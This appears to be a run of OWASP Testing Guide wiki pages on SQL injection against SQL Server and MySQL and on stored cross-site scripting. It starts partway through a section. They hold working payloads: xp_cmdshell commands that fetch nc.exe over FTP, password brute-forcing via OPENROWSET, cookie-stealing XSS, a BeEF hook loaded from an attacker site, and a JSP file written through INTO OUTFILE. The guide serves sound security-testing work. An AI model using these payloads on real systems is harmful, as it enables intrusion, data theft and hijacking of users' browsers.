This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
 
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:
<pre>
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
</pre>

===Example 6: Referer / User-Agent===

The REFERER header set to:

Referer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

===Example 7: SQL Server as a port scanner===

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:
<pre>
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
</pre>
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
<pre>
SQL Server does not exist or access denied
</pre>
On the other hand, if the port is open, one of the following errors will be returned:
<pre>
General network error. Check your network documentation
</pre>
<pre>
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
</pre>
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.

===Example 8: Upload of executables===

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:
<pre>
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
</pre>
At this point, nc.exe will be uploaded and available.
 
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
<pre>
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
</pre>
At this point, our executable is available on the target machine, ready to be executed.

There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).

===Obtain information when it is not displayed (Out of band)===

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are described in Sample 4 above.

===Blind SQL injection attacks===

====Trial and error====
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title='''text entered by the user'''

then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.

====If more than one error message is displayed====
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.

This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable files.

====Timing attacks====
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

====Checking for version and vulnerabilities====
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

On SQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.

===Example 9: bruteforce of sysadmin password===

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server.
Combining these features with an inferenced injection based on response timing, we can inject the following code:
<pre>
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
</pre>
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:

* Inject all following queries using OPENROWSET, in order to use sysadmin privileges

* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.

== References ==
'''Whitepapers''' 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx
* Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS

'''Tools''' 
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net

Testing for Stored Cross site scripting (OTG-INPVAL-002)

2012-04-29T15:28:08Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.

== Description of the Issue ==
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.

This vulnerability can be used to conduct a number of browser-based attacks including:

* Hijacking another user's browser
* Capturing sensitive information viewed by application users
* Pseudo defacement of the application
* Port scanning of internal hosts ("internal" in relation to the users of the web application)
* Directed delivery of browser-based exploits
* Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

* Attacker stores malicious code into the vulnerable page
* User authenticates in the application
* User visits vulnerable page
* Malicious code is executed by the user's browser

 This type of attack can also be exploited with browser exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.

Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

== Black Box testing and example ==
'''Input Forms'''

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
* File Manager: application that allows upload of files
* Application settings/preferences: application that allows the user to set preferences

'''Analyze HTML code'''

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.

Example: Email stored data in index2.php

[[Image:Stored_input_example.jpg]]

The HTML code of index2.php where the email value is located:

<pre>
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
</pre>

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:

<pre>
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
</pre>

'''Testing for Stored XSS'''

This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:

<pre>aaa@aa.com"><script>alert(document.cookie)</script></pre>
<pre>aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E</pre>

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.

'''Result Expected''':

[[Image:Stored_xss_example.jpg]]

The HTML code following the injection:

<pre><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script></pre>
The input is stored and the XSS payload is executed by the browser when reloading the page. 
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters. It is strongly recommended that testers refer to [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.

'''Leverage Stored XSS with BeEF'''

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:

* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
* Waiting for the application user to view the vulnerable page where the stored input is displayed
* Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

Example: BeEF Injection in index2.php:

<pre>aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script></pre>

When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.

'''Result Expected'''

[[Image:BeEF_in_action.jpg]]

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.

'''File Upload'''

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.

Consider the following HTTP POST request for file upload:

<pre>
POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test
</pre>

This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:
<pre>
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>
</pre>

Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.

== Gray Box testing and example ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.

Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

* Use front-end application and enter input with special/invalid characters
* Analyze application response(s)
* Identify presence of input validation controls
* Access back-end system and check if input is stored and how it is stored
* Analyze source code and understand how stored input is rendered by the application

If source code is available (White Box), all variables used in input forms should be analyzed.

In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarizes some special variables and functions to look at when analyzing source code:

<blockquote style="background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;">
{| class="wikitable" style="margin: 1em auto 1em auto"
| '''PHP''' || '''ASP''' || '''JSP'''
|-
|
* $_GET - HTTP GET variables
* $_POST - HTTP POST variables
* $_FILES - HTTP File Upload variables
||
* Request.QueryString - HTTP GET
* Request.Form - HTTP POST
* Server.CreateObject - used to upload files
||
* doGet, doPost servlets - HTTP GET and POST
* request.getParameter - HTTP GET/POST variables
|}
</blockquote>

== References ==
'''Books''' 
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

'''Whitepapers''' 
* RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html

* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html

* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf

* Amit Klein: "Cross-site Scripting Explained" - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf

* Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html

* CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/xss-faq.html

* Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf

'''Tools''' 
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.

* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.

* '''Hackvertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).

* '''BeEF''' - http://www.bindshell.net/tools/beef/
BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.

* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

* '''Backframe''' - http://www.gnucitizen.org/projects/backframe/
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.

* '''[[OWASP WebScarab Project|WebScarab]]'''
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.

* '''Burp''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.

* '''XSS Assistant''' - http://www.whiteacid.org/xss_assistant.user.js
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.

Testing for MySQL

2012-04-29T14:38:49Z

Shady:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

''MySQL server'' has a few particularities so that some exploits need to be
specially customized for this application. That's the subject of this section.

== Black Box testing and example ==

=== How to Test ===
When an SQL injection vulnerability is found in an application backed by a MySQL database,
there are a number of attacks that could be performed depending
on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide.
3.23.x, 4.0.x, 4.1.x and 5.0.x.
Every version has a set of features proportional to version number.

* From Version 4.0: UNION
* From Version 4.1: Subqueries
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
* From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]].

<nowiki>http://www.example.com/page.php?id=2</nowiki>

=== The Single Quotes Problem ===
Before taking advantage of MySQL features,
it has to be taken in consideration how strings could be represented
in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following: 
''' <nowiki>'A string with \'quotes\''</nowiki> '''

That is, MySQL interprets escaped apostrophes (\') as characters and not as
metacharacters.

So if the application, to work properly, needs to use constant strings,
two cases are to be differentiated:
# Web app escapes single quotes (' => \')
# Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Let's suppose we want to know the value of a field named 'password' in a record,
with a condition like the following:
password like 'A%'

# The ASCII values in a concatenated hex: 
#: password LIKE 0x4125
# The char() function:
#: password LIKE CHAR(65,37)

=== Multiple mixed queries: ===

MySQL library connectors do not support multiple queries separated
by '''<nowiki>';'</nowiki>''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 --

=== Information gathering ===

==== Fingerprinting MySQL ====

Of course, the first thing to know is if there's MySQL DBMS as a backend.

MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].

Example:
1 /*! and 1=0 */

'''Result Expected:''' 
''If MySQL is present, the clause inside the comment block will be interpreted.''

==== Version ====

There are three ways to gain this information:
# By using the global variable @@version
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]
# By using comment fingerprinting with a version number /*!40110 and 1=0*/
#: which means
<nowiki>if(version >= 4.1.10)
add 'and 1=0' to the query.</nowiki>

These are equivalent as the result is the same.

In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

'''Result Expected:''' 
''A string like this: '''5.0.22-log''' ''

==== Login User ====

There are two kinds of users MySQL Server relies upon.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.

There is some difference between 1 and 2.

The main one is that an anonymous user could connect (if allowed)
with any name, but the MySQL internal user is an empty name (<nowiki>''</nowiki>).

Another difference is that a stored procedure or a stored function
are executed as the creator user, if not declared elsewhere. This
can be known by using '''CURRENT_USER'''.

In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

'''Result Expected:''' 
''A string like this: '''user@hostname''' ''

==== Database name in use ====

There is the native function DATABASE()

In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

'''Result Expected:''' 
''A string like this: '''dbname''' ''

==== INFORMATION_SCHEMA ====
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.
It allows us to get all informations about databases, tables, and columns,
as well as procedures and functions.

Here is a summary of some interesting Views.
{| border=1
|| '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''
|-
|| ..[skipped]..|| ..[skipped]..
|-
|| SCHEMATA || All databases the user has (at least) SELECT_priv
|-
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB
|-
|| TABLES || All tables the user has (at least) SELECT_priv
|-
|| TABLE_PRIVILEGES || The privileges the user has for each table
|-
|| COLUMNS || All columns the user has (at least) SELECT_priv
|-
|| COLUMN_PRIVILEGES || The privileges the user has for each column
|-
|| VIEWS || All columns the user has (at least) SELECT_priv
|-
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)
|-
|| TRIGGERS || Triggers (needs INSERT_priv)
|-
|| USER_PRIVILEGES || Privileges connected User has
|-
|}
All of this information could be extracted by using known techniques as
described in SQL Injection section.

=== Attack vectors ===

==== Write in a File ====

If the connected user has '''FILE''' privileges and single quotes are not escaped,
the 'into outfile' clause can be used to export query results in a file.

Select * from table into outfile '/tmp/file'

Note: there is no way to bypass single quotes surrounding a filename.
So if there's some sanitization on single quotes like escape (\') there will
be no way to use the 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information
about the results of a query or to write a file which could be executed inside the
web server directory.

Example:

<nowiki>1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';</nowiki>

'''Result Expected:''' 
'' Results are stored in a file with rw-rw-rw privileges owned by
MySQL user and group.

Where ''/var/www/root/test.jsp'' will contain:
<nowiki>//field values//
<%jsp code here%></nowiki>

==== Read from a File ====

Load_file is a native function that can read a file when allowed by
filesystem permissions.

If a connected user has '''FILE''' privileges, it could be used to get the files' content.

Single quotes escape sanitization can by bypassed by using previously described
techniques.

load_file('filename')

'''Result Expected:''' 

''The whole file will be available for exporting by using standard techniques.''

=== Standard SQL Injection Attack ===

In a standard SQL injection you can have results displayed directly
in a page as normal output or as a MySQL error.
By using already mentioned SQL Injection attacks and the already described
MySQL features, direct SQL injection could be easily accomplished at a level
depth depending primarily on the MySQL version the pentester is facing.

A good attack is to know the results by forcing a function/procedure
or the server itself to throw an error.
A list of errors thrown by MySQL and in particular native functions could
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].

=== Out of band SQL Injection ===

Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.
=== Blind SQL Injection ===
For blind SQL injection, there is a set of useful function natively provided by MySQL server.

* String Length:
*: ''LENGTH(str)''
* Extract a substring from a given string:
*: ''SUBSTRING(string, offset, #chars_returned)''
* Time based Blind Injection: BENCHMARK and SLEEP
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
*: See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html

== References ==
'''Whitepapers''' 
* Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

'''Case Studies''' 
* Zeelock: Blind Injection in MySQL Databases - http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/msg00289.html

'''Tools''' 
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz 
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* http://sqlsus.sourceforge.net/

Testing for SQL Injection (OTG-INPVAL-005)

2012-04-29T14:36:51Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

An [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

==Related Security Activities==

===Description of SQL Injection Vulnerabilities===

See the OWASP article on [[SQL Injection]] Vulnerabilities.

See the OWASP article on [[Blind_SQL_Injection]] Vulnerabilities.

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

See the OWASP Prevention Cheat Sheet Series article on [[SQL Injection Prevention Cheat Sheet | Preventing SQL Injection]]

[[Category:Security Focus Area]]
__NOTOC__

== Description of the Issue ==
SQL Injection attacks can be divided into the following three classes:
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.

Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as "[[Blind SQL Injection]]".

== Black Box testing and example ==

=== SQL Injection Detection ===

The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error.
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
</pre>
